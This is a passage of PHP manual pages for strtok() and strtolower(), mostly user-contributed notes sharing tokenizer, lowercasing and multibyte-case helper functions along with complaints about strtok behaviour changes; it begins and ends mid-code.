     * @param string $delim The set of delimiters (the characters that separate tokens)
     * specified at creation time, default to ' '
     */
    public function __construct(/*string*/ $str, /*string*/ $delim = ' ') {
        $this->token = strtok($str, $delim);
        $this->delim = $delim;
    }

    public function __destruct() {
        unset($this);
    }

    /**
     * Tests if there are more tokens available from this tokenizer's string. It
     * does not move the internal pointer in any way. To move the internal pointer
     * to the next element call nextToken()
     * @return boolean - true if has more tokens, false otherwise
     */
    public function hasMoreTokens() {
        return ($this->token !== false);
    }

    /**
     * Returns the next token from this string tokenizer and advances the internal
     * pointer by one.
     * @return string - next element in the tokenized string
     */
    public function nextToken() {
        $current = $this->token;
        $this->token = strtok($this->delim);
        return $current;
    }
}
?>
yanick dot rochon at gmail dot com 15-Jun-2009 09:37
Here is a small function I wrote as I needed to extract some named tokens from a string (a la Google). For example, I needed to format a string like "extension:gif size:64M animated:true author:'John Bash'" into

array(
  'extension' => 'gif',
  'size' => '64M',
  'animated' => true,
  'author' => 'John Bash'
)

So, here's the code:

<?php

header('Content-type: text/plain; charset=utf-8');

/**
 * NOTE : use mbstring.func_overload for multi-byte support with this function
 *
 * @param string $string             the string to tokenize
 * @param int $offset                the starting offset
 * @param string $defaultTokenName   the default token name if none specified
 * @param string $groupDelimiters    the characters to delimit token groups
 * @param string $groupNameDelimiter the character(s) to delimit token group names
 * @return array
 */
function getTokens(
        $string,
        $offset = 0,
        $defaultTokenName = null,
        $groupDelimiters = '\'"',
        $groupNameDelimiter = ':')
{

    if ($offset >= strlen($string)) {
        //echo "offset out of range";
        return false;
    }

    $spaces = " \t\n\r";   // space characters

    // add group delimiters to spaces...
    $groupSpaces = $spaces . $groupNameDelimiter;
    $delimiters = $groupSpaces . $groupDelimiters;

    //var_dump($groupSpaces);

    $string = ltrim(substr($string, $offset), $groupSpaces);
    $token_strings = array();

    //echo "String is : " . $string . "\n";

    // 1. split all tokens...
    while ($offset < strlen($string)) {
        $lastOffset = $offset;
        $escaped = false;

        if (false !== strpos($groupDelimiters, $char = $string[$offset])) {
            $groupChar = $char;
        } else {
            $groupChar = null;
        }

        if (null !== $groupChar) {
            while (($offset < strlen($string)) && (($groupChar !== ($char = $string[++$offset])) || $escaped)) {
                //$offset++;
                $escaped = ('\\' === $char);
            }
            $offset++;
            //echo "*** Grouped : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        } else {
            while (($offset < strlen($string)) && ((false === strpos($delimiters, $char = $string[$offset])) || $escaped)) {
                $offset++;
                $escaped = ('\\' === $char);
            }
            //echo "*** Non-group : " . substr($string, $lastOffset, $offset - $lastOffset) . "\n";
        }
        //skip spaces...
        while (($offset < strlen($string)) && ((false !== strpos($groupSpaces, $char = $string[$offset])) || $escaped)) {
            $offset++;
            $escaped = ('\\' === $char);
        }

        $token_strings[] = substr($string, $lastOffset, $offset - $lastOffset);
        //echo "Next token = '" . end($token_strings) . "'\n";
    }

    $tokens = array();
    $tokenName = null;
    foreach ($token_strings as $token_str) {
        // clean $token_str
        $token_str = trim(stripslashes($token_str), $spaces);
        $str_value = trim($token_str, $delimiters);
        switch (strtolower($str_value)) {
            case 'true': $str_value = true; break;
            case 'false': $str_value = false; break;
            default: break;
        }

        // is it a token name?
        if (':' === substr($token_str, -1, 1)) {
            if (!empty($tokenName)) {
                $tokens[$tokenName] = '';
            }
            $tokenName = trim($token_str, $delimiters);
        } else {
            if (!empty($tokenName)) {
                if (isset($tokens[$tokenName])) {
                    $tokens[$tokenName] = array(
                        $tokens[$tokenName],
                        $str_value
                    );
                } else {
                    $tokens[$tokenName] = $str_value;
                }
                $tokenName = null;
            } elseif (empty($defaultTokenName)) {
                $tokens[] = trim($token_str, $delimiters);;
            } else {
                if (isset($tokens[$defaultTokenName])) {
                    $tokens[$defaultTokenName] = array(
                        $tokens[$defaultTokenName],
                        $str_value
                    );
                } else {
                    $tokens[$defaultTokenName] = $str_value;
                }
            }
        }
    }
    if (!empty($tokenName)) {
        $tokens[$tokenName] = '';
    }

    return $tokens;
}

$str = "check1: test "
     . "check2:'hello world' "
     . 'check3: "foo" '
     . "check4: \\\"try this\\\""
     . '"buz" '
     . 'check1:true';

?>
KrazyBox 06-Mar-2009 06:11
As of the change in strtok()'s handling of empty strings, it is now useless for scripts that rely on empty data to function.

Take for instance, a standard header. (with UNIX newlines)

http/1.0 200 OK\n
Content-Type: text/html\n
\n
--HTML BODY HERE---

When parsing this with strtok, one would wait until it found an empty string to signal the end of the header. However, because strtok now skips empty segments, it is impossible to know when the header has ended.
This should not be called `correct' behavior, it certainly is not. It has rendered strtok incapable of (properly) processing a very simple standard.

This new functionality, however, does not affect Windows style headers. You would search for a line that only contains "\r"
This, however, is not a justification for the change.
Logikos 03-Jan-2009 10:12
This looks very simple, but it took me a long time to figure out so I thought I'd share it incase someone else was wanting the same thing:

this should work similar to substr() but with tokens instead!

<?php
/* subtok(string,chr,pos,len)
 *
 * chr = chr used to seperate tokens
 * pos = starting postion
 * len = length, if negative count back from right
 *
 *  subtok('a.b.c.d.e','.',0)     = 'a.b.c.d.e'
 *  subtok('a.b.c.d.e','.',0,2)   = 'a.b'
 *  subtok('a.b.c.d.e','.',2,1)   = 'c'
 *  subtok('a.b.c.d.e','.',2,-1)  = 'c.d'
 *  subtok('a.b.c.d.e','.',-4)    = 'b.c.d.e'
 *  subtok('a.b.c.d.e','.',-4,2)  = 'b.c'
 *  subtok('a.b.c.d.e','.',-4,-1) = 'b.c.d'
 */
function subtok($string,$chr,$pos,$len = NULL) {
  return implode($chr,array_slice(explode($chr,$string),$pos,$len));
}
?>

explode breaks the tokens up into an array, array slice alows you to pick then tokens you want, and then implode converts it back to a string

although its far from a clone, this was inspired by mIRC's gettok() function
magne 25-Jun-2008 11:43
Quick and dirty function to tokenize:

function stringTokenize($sBuffer, $sSplit) {
        $iCount = 0;

        if(strlen($sBuffer) == 0)
            return;

        $sToken = strtok($sBuffer, $sSplit);
        $aTokens[$iCount] = $sToken;

        while ($sToken !== false) {
            $sToken = strtok($sSplit);
            if(strlen($sToken) > 0) {
                $iCount++;
                $aTokens[$iCount] = $sToken;
            }
        }    // end while

        return $aTokens;
    }
Aditya P Bhatt (adityabhai at gmail dot com) 27-Mar-2008 10:16
<head>
<title>Tokenise the incoming string</title>
</head>
<body bgcolor=white>
The input was
<?php
$name = "SOME TEXT EXAMPLE"; // You can change string here
print ("$name.<P>In pieces, thats:<br>");

$toke = strtok($name," \t");
    while ($toke) {
        print ("$toke<BR>");
        $toke = strtok(" \t");
    }
$oneword = implode("_",explode(" ",$name));
print ("<br>or as one word: $oneword");

?>
</body>
Geert 14-Apr-2006 06:37
Shauns function needs a little update because it produces an error message that the variables $text and $words were not defined. Written like this it won't produce an error:

<?php
function summarize($paragraph, $limit){
  $tok = strtok($paragraph, " ");
  $text="";
  $words='0';
  while($tok){
   $text .= " ".$tok;
   $words++;
   if(($words >= $limit) && ((substr($tok, -1) == "!")||(substr($tok, -1) == ".")))
     break;
   $tok = strtok(" ");
  }
return ltrim($text);
}
?>
mac.com@nemo 18-Feb-2006 01:49
This function takes a string and returns an array with words (delimited by spaces), also taking into account quotes, doublequotes, backticks and backslashes (for escaping stuff).
So

$string = "cp   'my file' to `Judy's file`";
var_dump(parse_cli($string));

would yield:

array(4) {
  [0]=>
  string(2) "cp"
  [1]=>
  string(7) "my file"
  [2]=>
  string(5) "to"
  [3]=>
  string(11) "Judy's file"
}

Way it works, runs through the string character by character, for each character looking up the action to take, based on that character and its current $state.
Actions can be (one or more of) adding the character/string to the current word, adding the word to the output array, and changing or (re)storing the state.
For example a space will become part of the current 'word' (or 'token') if $state is 'doublequoted', but it will start a new token if $state was 'unquoted'.
I was later told it's a "tokeniser using a finite state automaton". Who knew :-)

<?php

#_____________________
# parse_cli($string) /
function parse_cli($string) {
    $state = 'space';
    $previous = '';     // stores current state when encountering a backslash (which changes $state to 'escaped', but has to fall back into the previous $state afterwards)
    $out = array();     // the return value
    $word = '';
    $type = '';         // type of character
    // array[states][chartypes] => actions
    $chart = array(
        'space'        => array('space'=>'',   'quote'=>'q',  'doublequote'=>'d',  'backtick'=>'b',  'backslash'=>'ue', 'other'=>'ua'),
        'unquoted'     => array('space'=>'w ', 'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'quoted'       => array('space'=>'a',  'quote'=>'w ', 'doublequote'=>'a',  'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'doublequoted' => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'w ', 'backtick'=>'a',  'backslash'=>'e',  'other'=>'a'),
        'backticked'   => array('space'=>'a',  'quote'=>'a',  'doublequote'=>'a',  'backtick'=>'w ', 'backslash'=>'e',  'other'=>'a'),
        'escaped'      => array('space'=>'ap', 'quote'=>'ap', 'doublequote'=>'ap', 'backtick'=>'ap', 'backslash'=>'ap', 'other'=>'ap'));
    for ($i=0; $i<=strlen($string); $i++) {
        $char = substr($string, $i, 1);
        $type = array_search($char, array('space'=>' ', 'quote'=>'\'', 'doublequote'=>'"', 'backtick'=>'`', 'backslash'=>'\\'));
        if (! $type) $type = 'other';
        if ($type == 'other') {
            // grabs all characters that are also 'other' following the current one in one go
            preg_match("/[ \'\"\`\\\]/", $string, $matches, PREG_OFFSET_CAPTURE, $i);
            if ($matches) {
                $matches = $matches[0];
                $char = substr($string, $i, $matches[1]-$i); // yep, $char length can be > 1
                $i = $matches[1] - 1;
            }else{
                // no more match on special characters, that must mean this is the last word!
                // the .= hereunder is because we *might* be in the middle of a word that just contained special chars
                $word .= substr($string, $i);
                break; // jumps out of the for() loop
            }
        }
        $actions = $chart[$state][$type];
        for($j=0; $j<strlen($actions); $j++) {
            $act = substr($actions, $j, 1);
            if ($act == ' ') $state = 'space';
            if ($act == 'u') $state = 'unquoted';
            if ($act == 'q') $state = 'quoted';
            if ($act == 'd') $state = 'doublequoted';
            if ($act == 'b') $state = 'backticked';
            if ($act == 'e') { $previous = $state; $state = 'escaped'; }
            if ($act == 'a') $word .= $char;
            if ($act == 'w') { $out[] = $word; $word = ''; }
            if ($act == 'p') $state = $previous;
        }
    }
    if (strlen($word)) $out[] = $word;
    return $out;
}

?>
rawat dot arun at gmail dot com 25-Aug-2005 07:31
I was trying to compare two strings of equal length using strtok. However using them at same time leads into erratic output. Therefore the output of each strok can first be stored in an array and then be used for comparison. Here is small code for it.
<?php
$string = "This is an XYZ example string";
$tok = strtok($string, ' ');
while ($tok !== false) { $toks[] = $tok; $tok = strtok(' '); }
$string_1= "This is an unknown example string";
$tok1= strtok($string_1, ' ');while ($tok1 !== false) {
$toks1[] = $tok1;$tok1 = strtok(' '); }
$ctr=0;
while (each ($toks))
if ($toks[$ctr]==$toks1[$ctr])
{echo "W=$toks[$ctr]<br />"; echo "W1=$toks1[$ctr]<br />";
  $ctr++;  } else $ctr++;     ?>
Thanks,
Arun
brian dot cairns dot remove dot this at commerx dot com 26-May-2005 12:11
I was looking for a function to tokenize a string, taking double-quoted inline strings into account (for breaking up search queries, for example), but none of the ones I found seemed particularly efficient or elegant, so I wrote my own.  Here it is:

<?
// split a string into an array of space-delimited tokens, taking double-quoted strings into account
function tokenizeQuoted($string)
{
    for($tokens=array(), $nextToken=strtok($string, ' '); $nextToken!==false; $nextToken=strtok(' '))
    {
        if($nextToken{0}=='"')
            $nextToken = $nextToken{strlen($nextToken)-1}=='"' ?
                substr($nextToken, 1, -1) : substr($nextToken, 1) . ' ' . strtok('"');
        $tokens[] = $nextToken;
    }
    return $tokens;
}
?>

Example:

$tokens = tokenizeQuoted('this is "my test string" single "words" work too');

Results in $tokens containing:

Array
(
    [0] => this
    [1] => is
    [2] => my test string
    [3] => single
    [4] => words
    [5] => work
    [6] => too
)

Hope this helps someone.
soletan at toxa dot de 28-Apr-2005 04:47
strtok's new behaviour isn't more correct than the old one.

Example: When parsing a string for a quoted-string (e.g. RFC822-header without wanting to install mailparse from PECL!) then I walk char by char and whenever I encounter a double-quote I take strtok to find the related closing double-quote in string quite easily ... this is done for improved performance.
But what if there's an empty quoted-string ...

Another example is then having lines like

name="quoted-value"; second="another one";

I get the name using strtok with '=', then I check value to be quoted, which is true and thus I take the method described before to get the quoted string. Then all what's left is

; second="another one";

now I advance and drop any whitespaces after current value assignment ... well users shouldn't obey to never ever in life have no whitespaces before that damn semicolon for sure, and that's why I drop that with strtok (using ';') again to get to the next optional assignment with another

$s = strtok( '' )

I KNOW, there are ways to work around this using trim and the alikes. But that doesn't explain why strtok is now working "correct" while it didn't do before ...
cs2xz at bath dot ac dot uk 07-Apr-2005 06:30
There is a method to remove all the punctuations and only put the words into an array called "$token", where variable $invalid lists all the punctuations and "\xxx" are the octal numbers of punctuations. At the end, dispalys total number of words in $string and the 4th words in the string.

$string = "Hello,     $%^\n\\\"jeff!!!!\"/. 'How are you!'";
$invalid = "\40\41\42\43\44\45\46\47\48\49\50\51\52\53 \54\55\56\57\72\73\74\75\76 \77\100\133\134\135\136\137\138\139\140 \173\174\175\176\n\r\t";

$tok = strtok($string, $invalid);
while ($tok) {
   echo "Word=$tok<br>";
   $token[]=$tok;
   $tok = strtok($invalid);
}

// displays the number of words in the string and the 4th word
echo "Number of token: " . count($token) . "<br>";
echo $token[3];
James 28-Sep-2004 06:51
Be very careful with using strtok if there's any chance that you may be calling other functions that may use strtok as well.  If any other function that you call while parsing the string decides to call strtok as well, it will clobber the internal string pointer being used by strtok and you may get unexpected results.  Here's some code to explain what I mean:

function parse_string2($string2) {
    for($tok = strtok($string2, '.'); $tok !== false; $tok = strtok(".")) {
        echo $tok;
    }
}

$string1 = "1.2.3.4.!.8.9";
$string2 = "5.6.7";

for($word = strtok($string1, '.'); $word !== false; $word = strtok(".")) {
    if ($word == '!') {
        echo parse_string2($string2);
    } else {
        echo $word;
    }
}

If I didn't know the internals of the function parse_string2 (say someone else develops that), but all I know is that parse_string2 should print out 567, then my expected output might be:

123456789

Instead, you only get: 1234567.

It would be interesting if they could implement a strtok_r where you could explicitly denote which string to tokenize.
manicdepressive at mindless dot com 19-Jun-2004 06:01
<pre><?php
/** get leading, trailing, and embedded separator tokens that were 'skipped'
if for some ungodly reason you are using php to implement a simple parser that
needs to detect nested clauses as it builds a parse tree */

$str = "(((alpha(beta))(gamma))";

$seps = '()';
$tok = strtok( $str,$seps ); // return false on empty string or null
$cur = 0;
$dumbDone = FALSE;
$done = (FALSE===$tok);
while (!$done) {
   // process skipped tokens (if any at first iteration) (special for last)
   $posTok = $dumbDone ? strlen($str) : strpos($str, $tok, $cur );
   $skippedMany = substr( $str, $cur, $posTok-$cur ); // false when 0 width
   $lenSkipped = strlen($skippedMany); // 0 when false
   if (0!==$lenSkipped) {
      $last = strlen($skippedMany) -1;
      for($i=0; $i<=$last; $i++){
         $skipped = $skippedMany[$i];
         $cur += strlen($skipped);
         echo "skipped: $skipped\n";
      }
   }
   if ($dumbDone) break; // this is the only place the loop is terminated

   // process current tok
   echo "curr tok: ".$tok."\n";

   // update cursor
   $cur += strlen($tok);

   // get any next tok
   if (!$dumbDone){
      $tok = strtok($seps);
      $dumbDone = (FALSE===$tok);
      // you're not really done till you check for trailing skipped
   }
};
?></pre>
DethMetal Jeff 10-Mar-2004 10:18
If you need to parse through a very large delimited text file (such as a word list) combine strtok with file_get_contents.  It is much faster than all of the other alternatives i have found (using file() to parse the file into an array, reading the file line by line using fgets())

  $dictionary=file_get_contents('path/to/dictionary', 1);

  //check that the file was read properly
  if(!$dictionary){
    return("read error");
  }

  //dictionary is \n delimited
  $tok=strtok($dictionary, "\n");
  //loop through until we reach the end of the string
  while($tok){
    //do whatever it is you need to do with the $tok string here
    $tok=strtok("\n"); //get next string
  }
torsten at KILL_ALL_SPAM dot dargers dot de 20-Dec-2003 08:00
Beware! This function cannot be used to start a recursion during the loop. Sh..

You have to collect the results in an array and then cycle the recursion through that array.

Example:
$word=strtok($line,TOKENS);
while ($word) {

   // DO NOT START RECURSION HERE USING $word PARAMETER

  $words[] = $word;

}

foreach( $words as $word ) {

   *RECURSE*($word);

}

// This seems very silly but as the function is not instantiated between recursions it cannot work directly.
jrust AT rustyparts DOT com 23-May-2003 07:09
Had a website which was using way too many of the old functionality of strtok to convert to the new >PHP 4.1.0 way so I wrote this function to mimic the way strtok was done prior to 4.1.0

function strtok_old($string, $delim = null) {
    static $origDelim, $origString, $origPos;
    if (!isset($origDelim)) {
        $origDelim = null;
    }
    if (!isset($origString)) {
        $origString = null;
    }
    if (!isset($origPos)) {
        $origPos = null;
    }

    // continuing an already started strtok
    if ($string == $origDelim) {
        $string = $origString;
        $delim = $origDelim;
    }
    // else starting from scratch
    else {
        $origString = $string;
        $origDelim = $delim;
        $origPos = 0;
    }

    if ($origPos !== false && $origPos < strlen($string)) {
        $newPos = strpos($string, $delim, $origPos);
    }
    else {
        $newPos = false;
    }

    // the token wasn't found, go to end of string
    if ($newPos === false) {
        $newPos = strlen($string);
    }

    $return = substr($string, $origPos, ($newPos - $origPos));
    $origPos = ++$newPos;
    return $return;
}
shaun at phplabs dot com 04-Dec-2002 09:57
Here's some code to extract the first part of a long paragraph, e.g. to use as a summary. Starting at the beginning of the paragraph it gets as many complete sentences as are necessary to contain $limit words. For example, with $limit at 20 it would return the first two sentences of the paragraph you're reading right now (the first 20 words plus the rest of the sentence in which the limit was hit).

function summarize($paragraph, $limit){
  $tok = strtok($paragraph, " ");
  while($tok){
    $text .= " $tok";
    $words++;
    if(($words >= $limit) && ((substr($tok, -1) == "!")||(substr($tok, -1) == ".")))
      break;
    $tok = strtok(" ");
  }
return ltrim($text);
}

Might be a better way to do this, but it worked for me. Hope you find it useful!
desolate19 at NOSPAM dot hotmail dot com 02-May-2002 03:28
Here is yet another explanation of strtok for the explode/split comments.

You can do things with strtok that you can't do with explode/split. explode breaks a string using another string, split breaks a string using a regular expression.  strtok breaks a string using single _characters_ , but the best part is you can use multiple characters at the same time.

For example, if you are accepting user input and aren't sure how the user will decide to divide up their data you could choose to tokenize on spaces, hyphens, slashes and backslashes ALL AT THE SAME TIME:

<?PHP

$teststr = "blah1 blah2/blah3-blah4\\blah5";

$tok = strtok($teststr," /-\\");
while ($tok !== FALSE)
{
  $toks[] = $tok;
  $tok = strtok(" /-\\");
}

while (list($k,$v) = each($toks))
{
  print ("$k => $v&lt;BR&gt;\n");
}

?>

/* OUTPUT:
0 => blah1
1 => blah2
2 => blah3
3 => blah4
4 => blah5
*/

You can't do that with explode, and this should be faster than using split because split uses regular expressions.

And for the comments about explode/split putting your output into an array... as you can see, it's not hard to work with arrays in PHP.
11-Dec-2001 12:57
The example is unnecessarily confusing for beginners.

1) It is NOT strtok that fails when the returned string evaluates
to false in conditional expression, it is the loop test. A correct test is
while($tok !== false)

2) the same functionality (AS THE EXAMPLE) can be obtained with
explode. Note that if you only need the first few tokens you can
put a limit on explode!! read the manual :)
array explode (string separator, string string [, INT LIMIT])

What you can NOT do with explode (or split) is changing the
separator after a token is returned, as for example, when parsing a
string along a simple format :

$styleStr = "color:#FFFFFF;font-size:12";
$key = strtok($styleStr,":");
while ($key !== false){
 $styleTab[$key]= strtok(";"); // do not change the target
 $key = strtok(":"); // string, just the separator list
}

$styleTab is array("color"=>"#FFFFFF","font-size"=>"12")

If you need the remaining of the string do :
$remaining = strtok(''); //(empty separator)

Ivan
slt at municipium dot com dot pl 14-Feb-2001 11:12
As 'mckay' wrote, strtok 2nd argument is a list of tokens, not a string delimiter. It's not so obvious as one may think and it may be confusing for beginners like me. So, in the docs, it should state sth. like that
strtok(string where2search, char token2cut).
And for the above split-lover =) 'tysonlt' -> it's better to use explode bcoz it's lighter than split (to quote original manual: "(...) use explode(), which doesn't incur the overhead of the regular expression engine")
regards,
     StarLight
tysonlt at spamless dot webmedia dot com dot au 03-Oct-2000 03:34
Why use strtok at all?

If it's so flaky, why not just use split?

eg.
$token_array = split("$delim", $string);

Then you can use all the nice array functions on it! :)
David dot Mazur at student dot kuleuven dot ac dot be 16-Aug-2000 04:40
If you want to tokenize only part of the string, and store the "untokenized" part in some
variable, you have to call strtok one last time with separator "" (i.e. the empty string).
strstr
strtolower
String Functions


Make a string lowercase

strtok
strtoupper
String Functions
PHP Manual

strtolower

(PHP 4, PHP 5)

strtolower — Make a string lowercase

Description

string strtolower ( string $str )

Returns string with all alphabetic characters converted to lowercase.

Note that 'alphabetic' is determined by the current locale. This means that in i.e. the default "C" locale, characters such as umlaut-A (Ä) will not be converted.

Parameters

str

The input string.

Return Values

Returns the lowercased string.

Examples

Example #1 strtolower() example

<?php
$str = "Mary Had A Little Lamb and She LOVED It So";
$str = strtolower($str);
echo $str; // Prints mary had a little lamb and she loved it so
?>

Notes

Note: This function is binary-safe.

See Also

  • strtoupper() - Make a string uppercase
  • ucfirst() - Make a string's first character uppercase
  • ucwords() - Uppercase the first character of each word in a string
  • mb_strtolower() - Make a string lowercase

User Contributed Notes

on at niepodam dot pl 24-Oct-2011 07:23
If the input string is in different language that server locale, then you should use mb_strtolower() function.
RCube 31-Mar-2011 04:57
To convert an entire array to lower, I prefer this method;

<?php
function arraytolower(array $array, $round = 0){
  return unserialize(strtolower(serialize($array)));
}
?>

3 lines of code seem a lot less overhead than 10-40.
If there's any intrinsic problem with this method, please post it.
marcin at maydesign dot pl 22-Jun-2010 03:16
strtolower(); doesn't work for polish chars

<?php strtolower("mĄkA"); ?>
will return: mĄka;

the best solution - use mb_strtolower()

<?php mb_strtolower("mĄkA",'UTF-8'); ?>
will return: mąka
sanderwind at gmail dot com 11-Jun-2010 06:03
Very easy way to only make the first character lowercase:

<?php
  function lcfirst($string) {
      $string{0} = strtolower($string{0});
      return $string;
  }
?>
ewertonp at hotmail dot com 30-Sep-2009 11:50
Here is my solution to lowercase strings Latin strings with accents. In this case I've used Brazilian Portuguese locale:

<?PHP

setlocale(LC_ALL, 'pt_BR');

echo strtolower('ÉÁÇÚÍÑ');
// output: éáçúíñ

echo ucfirst(strtolower('éÁÇÚÍÑ'));
// output: Éáçúíñ

?>
leha_grobov 25-Jun-2009 08:03
the strtolower version to support most amount of languages including russian, french and so on:

<?php
function strtolower_utf8($string){
  $convert_to = array(
    "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u",
    "v", "w", "x", "y", "z", "à", "á", "â", "ã", "ä", "å", "æ", "ç", "è", "é", "ê", "ë", "ì", "í", "î", "ï",
    "ð", "ñ", "ò", "ó", "ô", "õ", "ö", "ø", "ù", "ú", "û", "ü", "ý", "а", "б", "в", "г", "д", "е", "ё", "ж",
    "з", "и", "й", "к", "л", "м", "н", "о", "п", "р", "с", "т", "у", "ф", "х", "ц", "ч", "ш", "щ", "ъ", "ы",
    "ь", "э", "ю", "я"
  );
  $convert_from = array(
    "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U",
    "V", "W", "X", "Y", "Z", "À", "Á", "Â", "Ã", "Ä", "Å", "Æ", "Ç", "È", "É", "Ê", "Ë", "Ì", "Í", "Î", "Ï",
    "Ð", "Ñ", "Ò", "Ó", "Ô", "Õ", "Ö", "Ø", "Ù", "Ú", "Û", "Ü", "Ý", "А", "Б", "В", "Г", "Д", "Е", "Ё", "Ж",
    "З", "И", "Й", "К", "Л", "М", "Н", "О", "П", "Р", "С", "Т", "У", "Ф", "Х", "Ц", "Ч", "Ш", "Щ", "Ъ", "Ъ",
    "Ь", "Э", "Ю", "Я"
  );

  return str_replace($convert_from, $convert_to, $string);
}
?>
Khigashi 22-Jun-2009 02:53
Here is my code, I made because of the accents contained in the latin languages [like the Portuguese of Brazil =)]

<?php
function deepLower($texto){
    //Letras minúsculas com acentos
    $texto = strtr($texto, "
    ĄĆĘŁŃÓŚŹŻABCDEFGHIJKLMNOPRSTUWYZQ
    XVЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ
    ÂÀÁÄÃÊÈÉËÎÍÌÏÔÕÒÓÖÛÙÚÜÇ
    ", "
    ąćęłńóśźżabcdefghijklmnoprstuwyzq
    xvёйцукенгшщзхъфывапролджэячсмитьбю
    âàáäãêèéëîíìïôõòóöûùúüç
    ");
    return strtolower($texto);
}
?>
hans111 {AT} yahoo {DOT} com 13-May-2009 03:02
Could be useful, if mb string library is not available for whatever the reason:
<?php
    function utf8_strtolower($string) {
        return utf8_encode(strtolower(utf8_decode($string)));
    }
##equally.....
    function utf8_ucfirst($string) {
        return utf8_encode(ucfirst(utf8_decode($string)));
    }
#.....etc...
?>
It has worked for me, just make sure you feed the functions with the proper encoded text (utf-8)

[These functions] only work when translation is between common characters in ISO 8859-1 and UTF-8, that means they will work well with western languages but not cyrillic or asian.
coder at bulgaria dot bg 03-Apr-2009 04:08
for cyrillic and UTF 8 use  mb_convert_case

exampel

<?php
$string = "Австралия";
$string = mb_convert_case($string, MB_CASE_LOWER, "UTF-8");
echo $string;

//output is: австралия
?>
ghutix6 at gmail dot com 15-Mar-2009 01:50
Here is function for working polish lower letters (plus example):

<?php

  function lower_pl($str)
   {
     return strtr($str, "ĄĆĘŁŃÓŚŹŻABCDEFGHIJKLMNOPRSTUWYZQXV", "ąćęłńóśźżabcdefghijklmnoprstuwyzqxv");
   }

  $word ="ŻÓŁTKO";
  $word = lower_pl ($word);

  echo ("<p>$word</p>");

?>

This will turn into: <p>żółtko</p>.
dbers26 at gmail dot com 07-Jan-2009 01:34
the function  arraytolower will create duplicate entries since keys are case sensitive.

<?php
$array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array = arraytolower($array);
?>
/*
Array
(
    [test1] => asgafasdaad
    [TEST2] => ASddhshsDGb
    [TeSt3] => asdasda@asdadadASDASDgh
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
*/

I prefer this method

<?php
  function arraytolower($array, $include_leys=false) {

    if($include_leys) {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array2[strtolower($key)] = arraytolower($value, $include_leys);
        else
          $array2[strtolower($key)] = strtolower($value);
      }
      $array = $array2;
    }
    else {
      foreach($array as $key => $value) {
        if(is_array($value))
          $array[$key] = arraytolower($value, $include_leys);
        else
          $array[$key] = strtolower($value);
      }
    }

    return $array;
  }
?>

which when used like this

<?php
$array = $array = array('test1' => 'asgAFasDAAd', 'TEST2' => 'ASddhshsDGb', 'TeSt3 '=> 'asdasda@asdadadASDASDgh');

$array1 = arraytolower($array);
$array2 = arraytolower($array,true);

print_r($array1);
print_r($array2);
?>

will give output of

Array
(
    [test1] => asgafasdaad
    [TEST2] => asddhshsdgb
    [TeSt3] => asdasda@asdadadasdasdgh
)
Array
(
    [test1] => asgafasdaad
    [test2] => asddhshsdgb
    [test3] => asdasda@asdadadasdasdgh
)
s0urce at anonyme dot com 23-Oct-2008 03:05
for someone who needs - arraytolower:

<?php
function arraytolower($array,$round = 0){
    foreach($array as $key => $value){
        if(is_array($value)) $array[strtolower($key)] =  $this->arraytolower($value,$round+1);
        else $array[strtolower($key)] = strtolower($value);
        }
        return $array;
    }
?>

converts the whole array in a levels. keys and values.
rodrigoATsistemasparainternetDOTcomDOTbr 09-Sep-2008 06:25
<?php
function fullLower($str){
   // convert to entities
   $subject = htmlentities($str,ENT_QUOTES);
   $pattern = '/&([a-z])(uml|acute|circ';
   $pattern.= '|tilde|ring|elig|grave|slash|horn|cedil|th);/e';
   $replace = "'&'.strtolower('\\1').'\\2'.';'";
   $result = preg_replace($pattern, $replace, $subject);
   // convert from entities back to characters
   $htmltable = get_html_translation_table(HTML_ENTITIES);
   foreach($htmltable as $key => $value) {
      $result = ereg_replace(addslashes($value),$key,$result);
   }
   return(strtolower($result));
}

echo fullLower("Ã É Ò Õ ÚÙÛ");

//results ã é ò õ úùû
//adapted from fullUpper on strtoupper manual
?>
concepton at gmail dot com 10-Aug-2008 09:50
comment to "alexfort at list dot ru"

i think better to use this one

<?php
function strtolower_ru($text) {
    $alfavitlover = array('ё','й','ц','у','к','е','н','г', 'ш','щ','з','х','ъ','ф','ы','в', 'а','п','р','о','л','д','ж','э', 'я','ч','с','м','и','т','ь','б','ю');
    $alfavitupper = array('Ё','Й','Ц','У','К','Е','Н','Г', 'Ш','Щ','З','Х','Ъ','Ф','Ы','В', 'А','П','Р','О','Л','Д','Ж','Э', 'Я','Ч','С','М','И','Т','Ь','Б','Ю');

    return str_replace($alfavitupper,$alfavitlover,strtolower($text));
}
?>
alexfort at list dot ru 04-Aug-2008 05:43
<?php
//solution to the Cyrillic and uft-8
function strtolower_Cyrillic($word) {
    $alfavitlover = explode(',', 'ё,й,ц,у,к,е,н,г,ш,щ,з,х,ъ,ф,ы,
    в,а,п,р,о,л,д,ж,э,я,ч,с,м,и,т,ь,б,ю');
    $alfavitupper = explode(',', 'Ё,Й,Ц,У,К,Е,Н,Г,Ш,Щ,З,Х,Ъ,Ф,Ы,
    В,А,П,Р,О,Л,Д,Ж,Э,Я,Ч,С,М,И,Т,Ь,Б,Ю');
    for($wr=0;$wr<=count($alfavitlover);$wr++) {
        $word = str_replace($alfavitupper[$wr], $alfavitlover[$wr], $word);
    }
    return $word;
}
echo strtolower_Cyrillic('СаШа+МаШа');
?>
tushar at sel2in dot com 28-Jul-2008 08:57
Quick and works for accented characters like á

Tested on linux and win apache+php5

<?php
function strtolower2($s){
    $ln = strlen($s);
    $ln1 = $ln -1;
    for($i=0; $i < $ln; $i++){
        $k = ord(substr($s, $i, 1));
        if($k>=65 && $k <= 90){
            if($i > 0){
                $l1 = substr($s, 0, $i);
            }else{
                $l1 ='';
            }
            $l1 = $l1 . chr($k+32);
            if($i < $ln1){
